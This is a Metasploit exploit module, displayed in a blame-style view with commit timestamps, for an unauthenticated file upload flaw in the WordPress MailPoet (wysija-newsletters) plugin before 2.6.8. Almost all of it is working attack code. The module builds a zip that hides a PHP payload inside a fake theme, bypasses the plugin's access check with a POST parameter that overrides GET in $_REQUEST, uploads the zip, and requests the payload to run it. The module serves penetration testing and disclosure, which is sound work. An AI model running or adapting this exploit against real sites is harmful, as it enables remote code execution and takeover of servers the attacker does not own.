2014-07-02 08:24:27 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::HTTP::Wordpress
|
2014-07-03 17:25:31 +00:00
|
|
|
include Msf::Exploit::FileDropper
|
2014-07-02 08:24:27 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-07-05 18:17:23 +00:00
|
|
|
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
|
2014-07-02 08:24:27 +00:00
|
|
|
'Description' => %q{
|
2014-07-06 08:53:40 +00:00
|
|
|
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
|
2014-07-05 18:17:23 +00:00
|
|
|
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
|
2014-07-02 08:49:28 +00:00
|
|
|
functionality to upload a zip file containing the payload. The plugin used the
|
2014-07-05 18:17:23 +00:00
|
|
|
admin_init hook, which is also executed for unauthenticated users when accessing
|
2014-07-06 08:53:40 +00:00
|
|
|
a specific URL. The developers tried to fix the vulnerablility
|
|
|
|
in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
|
|
|
|
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
|
|
|
|
uses $_REQUEST to check for access rights. By setting the POST parameter to
|
|
|
|
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
|
|
|
|
the $_GET array to determine the page and is so not affected by this.
|
2014-07-02 08:24:27 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-07-02 08:35:30 +00:00
|
|
|
'Marc-Alexandre Montpas', # initial discovery
|
2014-07-02 08:24:27 +00:00
|
|
|
'Christian Mehlmauer' # metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-07-06 08:53:40 +00:00
|
|
|
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
|
|
|
|
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
|
|
|
|
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
|
2014-07-02 08:24:27 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
2014-07-06 08:53:40 +00:00
|
|
|
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
|
2014-07-02 08:24:27 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jul 1 2014'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def create_zip_file(theme_name, payload_name)
|
|
|
|
# the zip file must match the following:
|
|
|
|
# -) Exactly one folder representing the theme name
|
|
|
|
# -) A style.css in the theme folder
|
|
|
|
# -) Additional files in the folder
|
|
|
|
|
|
|
|
content = {
|
2014-07-05 18:17:23 +00:00
|
|
|
::File.join(theme_name, 'style.css') => '',
|
|
|
|
::File.join(theme_name, payload_name) => payload.encoded
|
2014-07-02 08:24:27 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
zip_file = Rex::Zip::Archive.new
|
|
|
|
content.each_pair do |name, content|
|
|
|
|
zip_file.add_file(name, content)
|
|
|
|
end
|
2014-07-03 17:25:31 +00:00
|
|
|
|
2014-07-02 08:24:27 +00:00
|
|
|
zip_file.pack
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2014-07-02 09:07:58 +00:00
|
|
|
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => readme_url,
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
2014-07-03 18:27:08 +00:00
|
|
|
# no readme.txt present
|
2014-07-02 09:07:58 +00:00
|
|
|
if res.nil? || res.code != 200
|
2014-07-02 20:31:02 +00:00
|
|
|
return Msf::Exploit::CheckCode::Unknown
|
2014-07-02 09:07:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# try to extract version from readme
|
|
|
|
# Example line:
|
|
|
|
# Stable tag: 2.6.6
|
2014-07-05 18:17:23 +00:00
|
|
|
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
2014-07-02 08:24:27 +00:00
|
|
|
|
2014-07-02 09:07:58 +00:00
|
|
|
# readme present, but no version number
|
|
|
|
if version.nil?
|
2014-07-02 20:29:00 +00:00
|
|
|
return Msf::Exploit::CheckCode::Detected
|
2014-07-02 09:07:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Found version #{version} of the plugin")
|
|
|
|
|
2014-07-06 08:53:40 +00:00
|
|
|
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
|
2014-07-02 09:07:58 +00:00
|
|
|
return Msf::Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
return Msf::Exploit::CheckCode::Safe
|
|
|
|
end
|
2014-07-02 08:24:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2014-07-03 18:27:08 +00:00
|
|
|
theme_name = rand_text_alpha(10)
|
|
|
|
payload_name = "#{rand_text_alpha(10)}.php"
|
2014-07-02 08:24:27 +00:00
|
|
|
|
|
|
|
zip_content = create_zip_file(theme_name, payload_name)
|
|
|
|
|
|
|
|
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
|
|
|
|
|
|
|
|
data = Rex::MIME::Message.new
|
2014-07-03 18:27:08 +00:00
|
|
|
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
|
2014-07-02 08:24:27 +00:00
|
|
|
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
|
|
|
|
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
|
|
|
|
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
|
2014-07-06 08:53:40 +00:00
|
|
|
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
|
2014-07-02 08:24:27 +00:00
|
|
|
post_data = data.to_s
|
|
|
|
|
|
|
|
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
|
|
|
|
|
|
|
print_status("#{peer} - Uploading payload to #{payload_uri}")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => uri,
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
|
|
|
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
|
|
|
|
'data' => post_data
|
|
|
|
})
|
|
|
|
|
2014-07-03 17:25:31 +00:00
|
|
|
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
|
2014-07-02 08:24:27 +00:00
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
|
|
|
end
|
|
|
|
|
2014-07-03 17:25:31 +00:00
|
|
|
# Files to cleanup (session is dropped in the created folder):
|
|
|
|
# style.css
|
|
|
|
# the payload
|
|
|
|
# the theme folder (manual cleanup)
|
|
|
|
register_files_for_cleanup('style.css', payload_name)
|
|
|
|
|
2014-07-03 18:38:20 +00:00
|
|
|
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
|
2014-07-03 17:25:31 +00:00
|
|
|
|
2014-07-02 08:24:27 +00:00
|
|
|
print_status("#{peer} - Executing payload #{payload_uri}")
|
2014-07-02 09:07:58 +00:00
|
|
|
res = send_request_cgi({
|
2014-07-02 08:24:27 +00:00
|
|
|
'uri' => payload_uri,
|
|
|
|
'method' => 'GET'
|
|
|
|
})
|
|
|
|
end
|
2014-07-05 18:51:12 +00:00
|
|
|
end
|